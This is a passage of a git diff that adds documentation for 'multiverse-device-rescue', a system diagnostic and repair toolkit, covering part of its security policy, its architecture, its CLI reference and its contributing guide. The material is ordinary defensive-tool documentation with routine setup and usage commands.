Roadmap P0#10; not fixed. +- *A malicious install source.* The integrity manifest detects tampering after + install; it cannot tell you that the copy you downloaded was genuine. There + are no signed release artifacts yet. +- *The AI layer's provider.* If you enable `--copilot`, `rescue explain`, or + `rescue recommend`, finding titles and descriptions are sent to whichever + provider you configured. That is a deliberate opt-in with an obvious data + boundary; use `OLLAMA_HOST` for a local model if you need it to stay on the + machine. +- *Anything outside the device.* Password changes, 2FA enrollment, and session + revocation happen at the provider. The tool reports what is observable locally + and never asks for a password, a one-time code, or a recovery key. + +## What counts as a vulnerability in this tool + +Beyond the usual (command injection, path traversal, privilege escalation, +insecure temporary files, credential exposure), this project treats the +following as security bugs, because the whole product is a claim about what is +true on a machine: + +- **A check that reports healthy when it is not.** A false negative — a module + returning "No issues found" when the condition it is meant to detect is + present — is a security bug of the highest severity here. Someone made a + decision about their safety based on that output. +- **An unsupported or failed check reading as a pass.** `CheckStatus` separates + `HEALTHY`, `ISSUES`, `FAILED`, and `UNSUPPORTED` on purpose + (`rescue/models.py`). Anything that collapses `FAILED` or `UNSUPPORTED` into + `HEALTHY`, in the CLI, the TUI, the JSON output, or a case export, is a bug in + this class. +- **Guidance reported as a completed change.** An action of kind `GUIDANCE` + counted in `executed_mutations`, or rendered as `OK` instead of + `MANUAL ACTION REQUIRED`, tells a user their machine was fixed when it was + not. +- **A mutation running without confirmation.** Any code path where a module's + `fix()` changes the system without `--yes` or an explicit confirmation. +- **Redaction failure in `rescue export`.** A credential, token, email address, + or home path surviving into a case file. +- **Trust verification that can be bypassed.** Anything that accepts a content + update with fewer than the required distinct approvals, accepts a revoked + signer, falls back to the ambient keyring, or lets updated content place a + file outside `modules/`, `guides/`, `profiles/` or with an executable suffix. +- **Integrity verification that can be defeated** without detection. + +High-severity false *positives* — a check that tells someone they are +compromised when they are not — are also taken seriously. They are reported as +bugs rather than through this policy, using the false-positive/false-negative +issue template. + +## Out of scope + +- The absence of features the roadmap already lists as missing. Signed release + artifacts, real signer key material, and sandboxed module discovery are known + gaps documented in [docs/ROADMAP_STATUS.md](docs/ROADMAP_STATUS.md) and this + file; a report saying they are missing tells us nothing new. A report showing + a *concrete exploitation* of one of them is welcome. +- Findings that require an attacker who already has root or administrator + privileges on the machine, unless the tool makes that meaningfully worse. +- Vulnerabilities in third-party dependencies with no exploitable path through + this project. Report those upstream; tell us if we need to pin or drop + something. +- Social-engineering scenarios that involve convincing a user to run an + attacker-supplied module. That is the P0#10 gap above, already documented. diff --git a/docs/architecture.md b/docs/architecture.md new file mode 100644 index 0000000..6829630 --- /dev/null +++ b/docs/architecture.md @@ -0,0 +1,281 @@ +# Architecture + +How a scan actually runs, and where everything lives. If you are about to write +a module, read this first and [Writing a module](writing-a-module.md) second. + +## The shape of a scan + +```mermaid +flowchart TD + A["gather_profile()
rescue/profiler/"] --> B + B["discover_modules()
rescue/registry.py"] --> C + C{"profile selected?"} -->|yes| D["filter by platform
filter by profile
module.configure(...)"] + C -->|no| E["filter by platform"] + D --> F + E --> F["topological_sort()
by depends_on"] + F --> G["Orchestrator.run_checks()
per-module timeout
+ optional session budget"] + G --> H["module.check(profile)
READ ONLY"] + H --> I["CheckResult
findings / error / supported"] + I --> J{"issues, and
a fix requested?"} + J -->|no| K["report only"] + J -->|yes| L["module.fix(check, mode)"] + L --> M["FixResult
GUIDANCE actions
MUTATION actions"] +``` + +### 1. Profiling — what machine is this? + +`rescue.profiler.base.gather_profile()` dispatches to `darwin.py`, +`windows.py`, or `linux.py` and returns a `SystemProfile`: platform, OS name +and version, architecture, CPU model and core count, RAM, disks, processes, +startup items, installed software, hostname. + +Every module's `check()` receives this object. That matters for testability — +a module that reads platform and process state from the profile rather than +calling `platform.system()` itself can be tested by handing it a fabricated +profile. + +### 2. Discovery — what checks exist? + +`rescue.registry.discover_modules(modules_dir)` walks +`modules///__init__.py`, loads each with `importlib` under a +synthetic `rescue_modules.` name, and instantiates the class named +`Module` if it subclasses `ModuleBase`. Directories starting with `_` are +skipped, and a directory whose `__init__.py` defines no `Module` class is +skipped silently — that is how shared helpers like `modules/network/lan_common/` +live in the tree without being mistaken for checks. + +A module that raises on import is logged and skipped. One broken module does +not break discovery. + +!!! note "Discovery executes module code" + Loading a module runs its top-level statements. This is roadmap P0#10 and + is called out in [Trust and safety](trust-and-safety.md#where-the-guarantees-are-partial). + +### 3. Selection — which checks run? + +Two filters, in this order: + +1. **Platform.** `filter_by_platform` drops any module that does not list the + current platform in `platforms`. This is the coarse filter; a module may + *also* return `supported=False` at runtime for a finer reason (a missing + command, an unreadable path). +2. **Profile,** if one was named. `filter_modules_by_profile` keeps the + profile's `include` list and drops its `exclude` list, then + `module.configure(profile.module_config.get(name, {}))` hands each surviving + module its profile-specific settings. That is how + `iphone_spyware_check` turns on the backup scan that is off everywhere else. + +Then `topological_sort` orders modules so that anything named in `depends_on` +runs first. + +### 4. Orchestration — bounds + +`rescue.orchestrator.Orchestrator` is the only place a scan is bounded. + +- **Per-module timeout**, `DEFAULT_MODULE_TIMEOUT = 60.0` seconds. Each + `check()` runs on a daemon thread; if it overruns, the thread is *abandoned* + and the module records `error="timed out after 60.0s"`. Python cannot kill a + thread stuck in a blocking syscall, so abandoning it is what bounds the + session even when the individual command cannot be interrupted. +- **Optional total session budget.** Once exhausted, remaining modules record + `error="skipped: session time budget exhausted"` rather than being silently + dropped. +- **Exception isolation.** A `check()` that raises becomes + `CheckResult(error=str(exc))`. The scan continues. + +`run_fixes` then applies the auto-mode gate described in +[Trust and safety](trust-and-safety.md#auto-mode-is-read-only), and `run_auto` +combines both into `(module, check, fix_or_None)` triples. + +### 5. Results — the vocabulary + +```python +CheckResult( + module_name = "linux_firewall_check", + findings = [Finding(...), ...], + error = None, # set if check() raised or timed out + supported = True, # False when the check cannot run here + unsupported_reason = None, +) +``` + +`CheckResult.status` collapses those into one of four values, and the whole +point is that they never collapse into each other: + +| `CheckStatus` | Meaning | +| --- | --- | +| `HEALTHY` | Ran, found nothing. | +| `ISSUES` | Ran, has findings. | +| `FAILED` | Raised or timed out. **Not** a clean result. | +| `UNSUPPORTED` | Could not run here — wrong platform, missing tool, no permission. **Not** a clean result. | + +A `Finding` carries `title`, `description`, `severity` +(`info`/`warning`/`critical`), `category`, a free-form `data` dict, optional +`confidence` and `collected_at` evidence metadata, and an optional `code`. + +The `code` is the join key for the whole remediation system. Its scheme is +`..`, e.g. +`security.linux_firewall_check.no_firewall`, and it links a finding to a +walkthrough in `guides/remediation/`. Modules declare every code they can emit +in `emits_codes`, which is what makes +[the remediation catalog](REMEDIATION_CATALOG.md) and +[the threat map](THREAT_REMEDIATION.md) generatable and checkable. + +### 6. Fixes — guidance versus mutation + +`fix()` returns a `FixResult` holding `Action` objects, and each action declares +its `kind`: + +- **`ActionKind.GUIDANCE`** — instructions for a human. "Open System Settings + → General → Software Update and turn on automatic updates." Nothing was done + to the machine. Most actions in this tree are guidance, on purpose: the + things that matter most in a compromise (changing account passwords, revoking + sessions, freezing credit) happen at a provider, not on the device. +- **`ActionKind.MUTATION`** — a change to the system. Carries `executed`, + `success`, and `error`, and only counts as a change when + `executed and success`. + +`FixResult.executed_mutations` and `FixResult.guidance_actions` are what every +summary and report counts, so guidance can never be presented as a change that +was made. + +## Repository layout + +```text +multiverse-device-rescue/ +├── rescue/ # the Python package — the engine +│ ├── cli.py # every command and flag (Click) +│ ├── models.py # SystemProfile, CheckResult, Finding, Action, enums +│ ├── module_base.py # the ModuleBase contract modules implement +│ ├── registry.py # discovery, platform filter, topological sort +│ ├── orchestrator.py # timeouts, session budget, the auto-mode gate +│ ├── profiles.py # loading profiles/*.yaml, selection, validation +│ ├── guides.py # parsing guides/**/*.md front matter and steps +│ ├── session.py # ~/.rescue/sessions — guide progress +│ ├── case.py # the redacted rescue-case export +│ ├── validate.py # whole-catalog validation (rescue validate) +│ ├── serialize.py # scan --json +│ ├── command.py # bounded subprocess runner (timeout + output cap) +│ ├── fsbounds.py # bounded filesystem traversal +│ ├── runtime.py # bundled vs installed vs updated content paths +│ ├── remediation.py # builds the remediation catalog +│ ├── threat_map.py # builds the threat-remediation map +│ ├── profiler/ # per-platform SystemProfile collection +│ ├── security/ # integrity manifest, trusted signers +│ ├── update/ # signed content updates (repo, verify, engine) +│ ├── ai/ # optional AI layer (providers, explainer) +│ └── tui/ # the Textual terminal UI +├── modules/// # the checks — one directory each +│ └── __init__.py # defines `class Module(ModuleBase)` +├── profiles/*.yaml # the seven built-in scenarios +├── guides//phase_N.md # phased human walkthroughs +├── guides/remediation/*.md # per-finding-code remediation walkthroughs +├── tests/ # pytest suite, one file per module by convention +├── scripts/ # release and docs generation tooling +├── desktop/ # Electron desktop shell +├── shared/ # data shared between the CLI and the desktop app +├── docs/ # this documentation site +└── site/ # the separate marketing landing page +``` + +### Categories + +`modules/` has five category directories, and a module's `category` attribute +must match the directory it lives in: + +| Category | What belongs there | +| --- | --- | +| `security` | Malware and spyware indicators, persistence, remote access, credential exposure, hardening posture. | +| `integrity` | Whether the machine's own subsystems are healthy: disks, updates, backups, drivers, logs, keychains, network stacks. | +| `performance` | Why it is slow: CPU, memory, thermals, disk space, startup load. | +| `network` | The local network and this machine's place on it. | +| `bloatware` | Preinstalled and vendor software nobody asked for. | + +Counts per category and per platform are in the [module catalog](modules.md). + +### Content is data, not package code + +`modules/`, `profiles/`, and `guides/` install **outside** the Python package, +as `data_files` under `share/multiverse-device-rescue/` (see `setup.py`). +`rescue.runtime` resolves them at runtime in this order: + +1. A PyInstaller bundle's extraction directory, if frozen. +2. The source checkout, if `modules/` sits next to the `rescue/` package. +3. `$RESCUE_ASSETS_DIR`, if set. +4. The installed share directory. + +On top of that, `content_directory()` and `content_file()` prefer an *applied* +content update in `~/.local/share/rescue/content/` — but only after +`rescue update` has verified signatures and written the +`.git/rescue-applied-head` marker. A fetched-but-unapproved checkout is never +used. + +This split is why CI has a dedicated job that installs into a clean virtualenv +and runs the tool from a different directory: a packaging mistake here produces +a tool that installs cleanly, launches cleanly, and discovers nothing. + +## Profiles and guides + +A **profile** (`profiles/.yaml`) is a scenario. It names the modules to +include, per-module configuration, and the guide sets that belong to it: + +```yaml +name: home_for_the_holidays +display_name: "Home for the Holidays" +description: > + Help a family member get their device cleaned up ... +modules: + include: [disk_space, disk_smart_check, malware_scan_indicators, automatic_updates] + exclude: [] +module_config: + disk_space: + sensitivity: normal +guides: + - home_for_the_holidays +``` + +A **guide** is a directory of `phase_N.md` files with YAML front matter: + +```yaml +--- +profile: identity_theft_recovery +phase: 1 +title: "Make Sure The Device Is Not The Leak" +automatable_steps: [1, 2, 3] +human_only_steps: [4, 5] +estimated_time: "45 minutes" +--- + +## Step 1: Scan for monitoring and malware on this device +... +``` + +`rescue.guides` parses the front matter and splits the body on `## Step N:` +headings. `rescue validate` enforces that a step listed in `automatable_steps` +actually exists — the project's rule is that a step may not be advertised as +automatable until it resolves to a registered module. + +`guides/remediation/*.md` is a different shape: each walkthrough declares +`remediates: [, ...]`, and the UI offers it when a finding +carries a matching code. A walkthrough whose codes no module emits is dead +content, and `rescue validate` warns about it. + +## Testing conventions + +The suite mirrors the tree: `tests/test_module_.py` per module, +plus `tests/test_all_shipped_content.py`, which validates every shipped profile +and guide against the live registry. + +Module tests load through the real registry rather than importing the file +directly: + +```python +def _get_module(): + modules = discover_modules(Path(__file__).parent.parent / "modules") + return next(m for m in modules if m.name == "linux_firewall_check") +``` + +That is deliberate: modules are loaded under a synthetic `rescue_modules.*` +name that is not an importable package, so `patch("rescue_modules.x.run")` +cannot resolve. Patch the loaded module object instead. Tests must never touch +the network or the real home directory; CI sets `RESCUE_TEST_MODE=1`. diff --git a/docs/cli.md b/docs/cli.md new file mode 100644 index 0000000..af08bde --- /dev/null +++ b/docs/cli.md @@ -0,0 +1,557 @@ +# CLI reference + +Every command and flag below is taken from +[`rescue/cli.py`](https://github.com/lizTheDeveloper/multiverse-device-rescue/blob/main/rescue/cli.py). +If a flag is not on this page, it does not exist. + +```console +$ rescue --help +Usage: rescue [OPTIONS] [COMMAND] [ARGS]... + + Multiverse Device Rescue — system diagnostic and repair toolkit. + +Options: + --auto Run all checks and apply safe fixes automatically. + --profile TEXT Threat-model profile to apply (filters/configures modules). + --copilot Enable AI-powered plain-language explanations (requires an + API key or local Ollama). + --help Show this message and exit. + +Commands: + explain Run all diagnostic checks and print an AI... + export Run read-only checks and write a redacted... + guide Render the guide walkthrough for a profile,... + profiles List available threat-model profiles. + recommend Answer a few questions to get a recommended... + remediation-catalog Regenerate docs/REMEDIATION_CATALOG.md from... + run Run specific modules by name. + scan Run read-only checks. + threat-remediation Regenerate docs/THREAT_REMEDIATION.md from the... + trust Manage locally-revoked content-repo signers. + update Update module data and guide content from the... + validate Validate the shipped catalog: modules, profiles,... + version Show version information. +``` + +If the `rescue` script is not on your `PATH`, every invocation below also works +as `python -m rescue.cli …`. + +## Startup behaviour + +Two things happen on **every** invocation, before any command runs. + +**The self-integrity check.** The tool recomputes SHA-256 hashes of its own +installed `rescue/**/*.py` files and compares them to the manifest shipped with +the package. On a mismatch it prints, to stderr: + +```text +WARNING: rescue's own installed files do not match the expected integrity manifest. + modified: cli.py + missing: security/signers.py +Consider reinstalling the tool. Continuing with existing files. +``` + +It is deliberately **non-blocking**: it warns and continues, and any exception +inside the check itself is swallowed. It is also skipped entirely inside a +PyInstaller bundle, where there are no loose `.py` files to hash. Details in +[Trust and safety](trust-and-safety.md#the-self-integrity-manifest). + +**Command dispatch.** With `--auto`, auto mode runs. With no subcommand and no +`--auto`, the interactive terminal UI launches. Otherwise the named subcommand +runs. + +--- + +## `rescue` — the terminal UI + +```console +$ rescue +``` + +With no subcommand and no `--auto`, launches the interactive TUI against the +installed modules and guides. + +--- + +## `rescue --auto` — unattended scan + +```console +$ rescue --auto [--profile ] [--copilot] +``` + +Runs every applicable check, then attempts fixes for modules that qualify. +**On the shipped tree nothing qualifies**, so this is a read-only whole-machine +scan with a summary. A module is only auto-fixed when it is `RiskLevel.SAFE` +*and* sets `auto_apply = True`; no shipped module does. + +| Flag | Effect | +| --- | --- | +| `--auto` | Run all checks and attempt eligible fixes. | +| `--profile ` | Only run the modules the named profile selects, with the profile's per-module configuration applied. Exits `1` on an unknown or invalid profile. | +| `--copilot` | After the scan, send the findings to a configured AI provider for a plain-language narrative. Opt-in; see [Privacy](privacy.md). | + +Output: + +```console +$ rescue --auto +================================================== +Multiverse Device Rescue — Auto Mode +================================================== + +Scanned 26 module(s), found 20 issue(s). Auto mode is read-only: made 0 system +change(s); 0 manual action(s) require you. + +=== linux_service_health === +Found 1 issue(s): + [warning] No time-synchronisation service appears to be running: ... +``` + +Modules that found issues but were not eligible for an unattended fix are +listed under `--- Skipped (requires confirmation) ---` with their risk level, +and the tool tells you to run `rescue run ` for each. If the selected +profile ships a guide, the available walkthroughs are named at the end. + +--- + +## `rescue scan` — read-only checks + +```console +$ rescue scan [--json] +``` + +Runs every check that supports the current platform and prints one report per +module. Never applies a fix, never prompts, and takes no profile — for a +profile-scoped scan use `rescue --auto --profile ` or `rescue export +--profile `. + +| Flag | Effect | +| --- | --- | +| `--json` | Emit structured results to stdout instead of the human report. | + +The JSON shape is `schema_version` 1: + +```json +{ + "schema_version": 1, + "platform": "linux", + "modules": [ + { + "name": "linux_package_updates", + "status": "ok", + "error": null, + "findings": [ + { + "title": "1 package update(s) available", + "description": "Ordinary updates — bug fixes and new versions...", + "severity": "info", + "category": "integrity", + "data": {"check": "updates_pending", "manager": "apt"}, + "confidence": 0.9, + "collected_at": null, + "code": "integrity.linux_package_updates.updates_pending" + } + ] + } + ] +} +``` + +!!! warning "`--json` output is not redacted" + `scan --json` is the raw result stream, intended for tooling on the same + machine. Finding descriptions and `data` payloads contain real paths and + real hostnames. If you intend to send results to another person, use + [`rescue export`](#rescue-export-redacted-case-report) instead, which + redacts. + + Note also that `status` here is only `"ok"` or `"error"` — this serializer + does not distinguish *unsupported* from *healthy*. The human report and the + case export both do. + +--- + +## `rescue run` — specific modules + +```console +$ rescue run [ ...] [--yes] [--copilot] +``` + +Runs one or more named modules in order. Unknown module names print the full +list of available names to stderr and exit `1`. + +| Flag | Effect | +| --- | --- | +| `--yes` | Skip confirmation prompts and run each module's `fix()` when its check found issues. Also switches the run mode from `MANUAL` to `CLI`. | +| `--copilot` | Append an AI plain-language explanation of the findings. | + +Without `--yes`, a module whose check found issues prompts: + +```text +Apply fixes for linux_account_audit? [y/N]: +``` + +Answering anything but yes moves on without calling `fix()`. A module whose +check errored is reported and skipped — it is never offered a fix. If `fix()` +itself raises, the tool prints `Fix unavailable: ` and continues to the +next module rather than aborting the run. + +!!! danger "`--yes` is the flag that can change your system" + `--yes` applies fixes without asking, including for modules at `moderate` + and `destructive` risk levels. Everything else in the tool asks first. + +--- + +## `rescue export` — redacted case report + +```console +$ rescue export [--profile ] [--output ] [--stdout] +``` + +Runs read-only checks and writes a **rescue case**: a JSON record for tooling +and a Markdown summary for people. Both are redacted before anything is +written. This is the command to use when you want to hand your results to +someone who can help. + +| Flag | Effect | +| --- | --- | +| `--profile ` | Only run the modules the named profile selects. Exits `1` on an unknown or invalid profile. | +| `--output ` | Directory to write into. Default: `~/.rescue/cases`. | +| `--stdout` | Print the JSON case to stdout instead of writing any files. | + +```console +$ rescue export +Wrote /home/you/.rescue/cases/case-20260805T230542Z.json +Wrote /home/you/.rescue/cases/case-20260805T230542Z.md + +Both files are redacted, but module output is free text — read them before +sharing. +``` + +Files are named `case-.{json,md}` and written with owner-only +permissions (`0600`) where the filesystem supports it. The case records +findings, actions, whether each action actually changed the system, rollback +and verification metadata where a module supplies it, and counts of failed and +unsupported checks. Redaction removes credential-shaped strings, email +addresses, your account name, your home directory path, and the hostname. See +[Privacy](privacy.md#the-redacted-case-export). + +--- + +## `rescue profiles` — list scenarios + +```console +$ rescue profiles +ai_worm_response — AI Worm & Spyware Response + Comprehensive scan for AI-led worm compromise (Shai Halud, Miasma, ... +digital_security_reset — Digital Security Reset + Post-compromise recovery for someone who has been hacked ... +``` + +No flags. Prints each profile's name, display name, and description. Prints +`No profiles found.` if profile discovery came up empty — which on a normal +install means the packaged content is missing. + +--- + +## `rescue guide` — phased walkthrough + +```console +$ rescue guide [--complete ] +``` + +Renders the current phase of a profile's guide and remembers where you were. + +| Flag | Effect | +| --- | --- | +| `--complete ` | Mark step `n` of the current phase complete before rendering. | + +```console +$ rescue guide identity_theft_recovery +=== Identity Theft Recovery: Phase 0 — The First Hour === +Estimated time: 1 hour + +[human] [pending] Step 1: Start a recovery log before you do anything else +[human] [pending] Step 2: Write down what you already know +... + +Run again with --complete to mark a step done. +``` + +Each step is tagged `[automatable]` (a module can do this part) or `[human]` +(only you can), and `[done]` or `[pending]`. When every step of a phase is +marked complete, the next invocation announces `Phase N complete! Moving to +Phase N+1.` and renders the next phase; after the last one it prints `All +phases complete!`. + +State lives in `~/.rescue/sessions/.json`. Profiles with no guide +content — `ai_worm_response` and `iphone_spyware_check` — print `No guide +content found for profile: `. An unknown profile name exits `1`. + +--- + +## `rescue validate` — check the shipped catalog + +```console +$ rescue validate [--strict] +``` + +Validates everything the installation ships, without executing any module's +`check()`. Useful to confirm an install is complete and internally consistent. + +| Flag | Effect | +| --- | --- | +| `--strict` | Treat warnings as failures. Exits 1 today on the docstring backlog, so CI runs the plain form and gates on errors. | + +It verifies that module names are unique; that `depends_on` entries resolve and +form no cycles; that platforms and risk levels are real enum members; that +`priority` is within 0–100; that no module sets `auto_apply = True` at a +non-`SAFE` risk level; that every profile references only modules that exist +and names guide sets that have phases on disk; and that no guide advertises a +step as automatable when no such step exists. + +Errors mean the catalog is inconsistent. Warnings mean metadata is legal but +degraded — a module with no `estimated_duration`, a module with no docstring, a +remediation walkthrough whose `remediates:` code no module emits. + +```console +$ rescue validate +[warning] registry:documentation: 264 of 287 modules have no docstring explaining +what they check or why (accessibility_check, accessibility_permissions, +ai_threat_indicators, ai_worm_filesystem, ai_worm_git_ssh, and 259 more) + +287 modules, 7 profiles, 110 guide phases checked: 0 error(s), 1 warning(s). +Catalog is consistent. +``` + +Exit `0` when `report.ok(strict)` holds, `1` otherwise. On the current tree +`rescue validate` exits `0` and `rescue validate --strict` exits `1`, because +264 of the 287 modules still carry no docstring. + +--- + +## `rescue recommend` — AI profile suggestion + +```console +$ rescue recommend +``` + +An interactive conversation that ends in a recommended profile name. **This +command is itself the opt-in to the AI layer** — it does nothing without a +configured provider: + +```console +$ rescue recommend +This feature requires an AI provider. +Set ANTHROPIC_API_KEY, OPENAI_API_KEY, or OLLAMA_HOST, then try again. +``` + +Type `quit` or `exit` at the prompt to leave without a recommendation. A failed +AI request is reported and you are re-prompted rather than dropped. No flags. + +--- + +## `rescue explain` — AI narrative of a fresh scan + +```console +$ rescue explain +``` + +Runs every check fresh (never applies fixes) and hands the findings to the +configured AI provider for a plain-language narrative. Like `recommend`, this +command is itself the opt-in, and prints the same "requires an AI provider" +message when none is configured. No flags. + +Note that `explain` runs modules directly rather than through the orchestrator, +so the orchestrator's per-module timeout does not apply to it. + +--- + +## `rescue update` — signed content updates + +```console +$ rescue update [--check] [--dry-run] [--yes] [--sideload ] +$ rescue update --rollback [--dry-run] +$ rescue update --use-bundled +``` + +Fetches and applies updates to **module data and guide content** from the +content repository. Content updates carry data only — `.json`, `.md`, `.toml`, +`.txt`, `.yaml`, `.yml` under `modules/`, `guides/`, or `profiles/`. Python code +is never updated this way. + +| Flag | Effect | +| --- | --- | +| `--check` | Report what is available and stop. Does not apply. | +| `--dry-run` | Print what applying would do, without applying. | +| `--yes` | Apply without the interactive confirmation prompt. | +| `--sideload ` | Apply a signed update from a local git bundle file instead of the network (air-gapped). The path must exist and be a file. | +| `--rollback` | Return to the content version applied before the current one. Re-verifies approval first. | +| `--use-bundled` | Deactivate downloaded content and use what shipped inside the install. Needs no network and no working trust configuration. | + +`--rollback` and `--use-bundled` cannot be combined; doing so exits `2`. + +Outcomes: + +- **Up to date** — prints `Content is already up to date.` and exits `0`. +- **Available** — prints the version, who approved it, and the commit + subjects, then applies (after confirming, unless `--yes`). +- **Not enough approvals** — prints `Refusing to apply -- not enough + maintainer approvals yet.` and exits `1`. An update needs signed tags from + **two distinct trusted, non-revoked signers** by default. +- **Fetch/trust failure** — prints `Update failed: …` and `Continuing with + existing content.` to stderr, then exits `1`. A failed update never degrades + the tool you already have. +- **Rejected content** — a commit whose file list falls outside the allowed + directories or file types is rejected with `Update rejected: …` and exits + `1`. + +Full trust model in +[Trust and safety](trust-and-safety.md#signed-content-updates). + +### Backing out of an update + +Neither recovery path fetches anything. Rolling back to a version this machine +already had, or falling back to what the install shipped with, has to work when +the network is the problem — or when the update is. + +**`rescue update --rollback`** returns to the content version applied before the +current one, using the previous-version marker `ContentRepo.checkout` writes. +It **re-verifies maintainer approval** on that older commit rather than trusting +that it was approved when it was first applied — a signer may have been revoked +since, and the whole point of revocation is that content they approved stops +being trusted, including content already on the machine. + +```console +$ rescue update --rollback --dry-run +Would roll back to a1b2c3d4e5f6. + +$ rescue update --rollback +Rolled back to a1b2c3d4e5f6. +``` + +It exits `1`, without changing anything, in two cases: + +- *No previous version recorded* — nothing to roll back to. The message points + you at `--use-bundled`. +- *No longer approved* — "most likely a signer has been revoked since it was + applied. Refusing to roll back to it." Again, `--use-bundled` is the way out. + +If the content repository cannot be loaded at all (a git error, or a broken +trust configuration), it exits `1` and tells you that `--use-bundled` still +works because it needs no signature check. + +**`rescue update --use-bundled`** is the escape hatch of last resort. It +deactivates the downloaded content by removing the applied marker that +`runtime.active_content_root()` gates on, so the tool falls back to the modules, +profiles, and guides that shipped inside the installed package. + +```console +$ rescue update --use-bundled +Updated content is deactivated. The tool will use the modules, profiles and +guides that shipped with the installed package. Nothing was deleted; `rescue +update` can activate downloaded content again. +``` + +Two properties make this the reliable path: **nothing is deleted** (the +checkout stays on disk and a later `rescue update` can reactivate it), and it +deliberately **does not construct an `UpdateEngine`**. Constructing one would +validate the trusted-signer configuration — and a machine whose trust config is +broken or unpopulated is exactly the machine that most needs to get back to +known-good content. An escape hatch that depends on the thing that failed is +not an escape hatch. It exits `0`, and it works today on this repository, where +the shipped signer keys are still placeholders. `--dry-run` has no effect on +this path. + +--- + +## `rescue trust` — local signer revocation + +```console +$ rescue trust revoke --reason "" +$ rescue trust list-revoked +``` + +Stops trusting a content-repo signer's approvals **on this machine**, +immediately, without waiting for a new threshold-approved commit to remove +them. + +| Command | Flag | Effect | +| --- | --- | --- | +| `trust revoke ` | `--reason` (**required**) | Record the revocation with its reason. | +| `trust list-revoked` | — | Print revoked signer IDs, one per line, or `No signers revoked on this machine.` | + +```console +$ rescue trust revoke maintainer-a --reason "key rotation announced 2026-08-01" +Revoked signer 'maintainer-a': key rotation announced 2026-08-01 +``` + +Revocations persist to `~/.config/rescue/revoked_signers.json`. Revoking below +the approval threshold means updates stop applying — which is the safe failure. + +--- + +## `rescue version` + +```console +$ rescue version +multiverse-device-rescue 0.1.0 +``` + +No flags. + +--- + +## Maintainer commands + +These regenerate documentation in the source tree and are meant for people +working on the project, not for end users. + +### `rescue remediation-catalog` + +```console +$ rescue remediation-catalog +Wrote /path/to/docs/REMEDIATION_CATALOG.md (510 codes) +``` + +Rebuilds [the remediation catalog](REMEDIATION_CATALOG.md) by joining every +module's `emits_codes` against the walkthroughs in `guides/remediation/`. No +flags. Writes into the project root's `docs/` directory. + +### `rescue threat-remediation` + +```console +$ rescue threat-remediation +Wrote /path/to/docs/THREAT_REMEDIATION.md (N threats) +``` + +Rebuilds [the threat map](THREAT_REMEDIATION.md) from +`docs/threat_remediation_map.yaml`. Validates the map against the live registry +first: any threat referencing an unknown profile, code, or module prints +`ERROR: …` to stderr and exits `1` without writing. No flags. + +--- + +## Exit codes + +| Code | Meaning | +| --- | --- | +| `0` | Success. Also used when an AI command exits early because no provider is configured, and when `rescue update` cancels at the confirmation prompt. | +| `1` | Unknown or invalid profile; unknown module name; `validate` found errors (or, with `--strict`, warnings); `update` was refused, failed, or had its content rejected; `update --rollback` found no previous version, found it no longer approved, or could not load the content repository; `threat-remediation` found an invalid threat map. | +| `2` | `rescue update --rollback --use-bundled` — the two recovery flags cannot be combined. | + +A failing module never fails the process: a check that raises is caught and +reported as `Check unavailable: …`, and a `fix()` that raises is reported as +`Fix unavailable: …`. The run continues either way. + +## Environment variables + +| Variable | Used by | Effect | +| --- | --- | --- | +| `ANTHROPIC_API_KEY` | AI layer | Enables the Anthropic provider. | +| `OPENAI_API_KEY` | AI layer | Enables the OpenAI provider. | +| `OLLAMA_HOST` | AI layer | Enables the local Ollama provider. | +| `RESCUE_AI_PROVIDER` | AI layer | Force `anthropic`, `openai`, or `ollama`. Naming `ollama` explicitly also lets it default to `http://localhost:11434`. | +| `RESCUE_CONTENT_DIR` | Runtime | Override where applied content updates are read from. | +| `RESCUE_ASSETS_DIR` | Runtime | Override where bundled modules/profiles/guides are found. | + +No AI provider is used unless one of the AI environment variables is set **and** +you invoke `--copilot`, `explain`, or `recommend`. diff --git a/docs/contributing.md b/docs/contributing.md new file mode 100644 index 0000000..095e673 --- /dev/null +++ b/docs/contributing.md @@ -0,0 +1,224 @@ +# Contributing + +## Development setup + +```console +$ git clone https://github.com/lizTheDeveloper/multiverse-device-rescue.git +$ cd multiverse-device-rescue +$ python3 -m venv .venv +$ source .venv/bin/activate # Windows: .venv\Scripts\activate +$ pip install -e ".[dev]" +$ rescue version +multiverse-device-rescue 0.1.0 +``` + +Python **3.11** is the floor. It is not aspirational — CI byte-compiles the +whole tree on 3.11 as its first job, because the largest defect ever found in +this repository was code that did not parse on the declared minimum (PEP 701 +f-strings, plus thirty call sites using a keyword that only exists in 3.13). +Both shipped because nothing compiled the tree on 3.11. + +Optional extras: + +| Extra | Install | For | +| --- | --- | --- | +| `dev` | `pip install -e ".[dev]"` | pytest, pytest-asyncio, pyinstaller | +| `ai` | `pip install -e ".[ai]"` | the optional AI provider SDKs | +| `docs` | `pip install -e ".[docs]"` | building this documentation site | + +## Running the suite + +```console +$ python -m pytest -q +$ python -m pytest tests/test_module_linux_firewall_check.py -q # one module +$ python -m pytest -q --maxfail=20 # what CI runs +``` + +CI sets `RESCUE_TEST_MODE=1`. Tests must never reach the network or an +uncontrolled home directory — environment coupling is what once made this suite +pass on exactly one developer's machine. Structure a module so its traversal +roots, thresholds, and service lists are class attributes a test can repoint; +see [Writing a module](writing-a-module.md#testability-traversal-roots-as-class-attributes). + +Module tests load through the real registry rather than importing the file: + +```python +def _get_module(): + modules = discover_modules(Path(__file__).parent.parent / "modules") + return next(m for m in modules if m.name == "linux_firewall_check") +``` + +Modules are loaded under a synthetic `rescue_modules.*` name that is not an +importable package, so `patch("rescue_modules.x.run")` cannot resolve — patch +the loaded module object directly. + +## Validating the catalog + +```console +$ rescue validate +287 modules, 7 profiles, 110 guide phases checked: 0 error(s), 1 warning(s). +Catalog is consistent. + +$ rescue validate --strict +``` + +`validate` executes no module's `check()`. It reads metadata and checks that: + +- module names are unique +- `depends_on` entries resolve and form no cycles +- `platforms` and `risk_level` are real enum members and `priority` is 0–100 +- no module sets `auto_apply = True` at a non-`SAFE` risk level +- every profile references only modules that exist and names guide sets that + have phases on disk +- no guide advertises a step as automatable when no such step exists +- no remediation walkthrough claims a code that no module emits + +Errors mean the catalog is inconsistent — a user hitting one gets silently +reduced functionality. Warnings mean legal but degraded metadata. + +!!! warning "`--strict` currently fails on this tree" + `rescue validate --strict` exits `1` today. There is exactly one warning + left, and it is an aggregate: + + ```text + [warning] registry:documentation: 264 of 287 modules have no docstring + explaining what they check or why + ``` + + CI's `content` job runs the plain form, so it gates on errors and passes + today; the workflow comment records that `--strict` goes back on once the + docstring backlog reaches zero. Failing every pull request on a 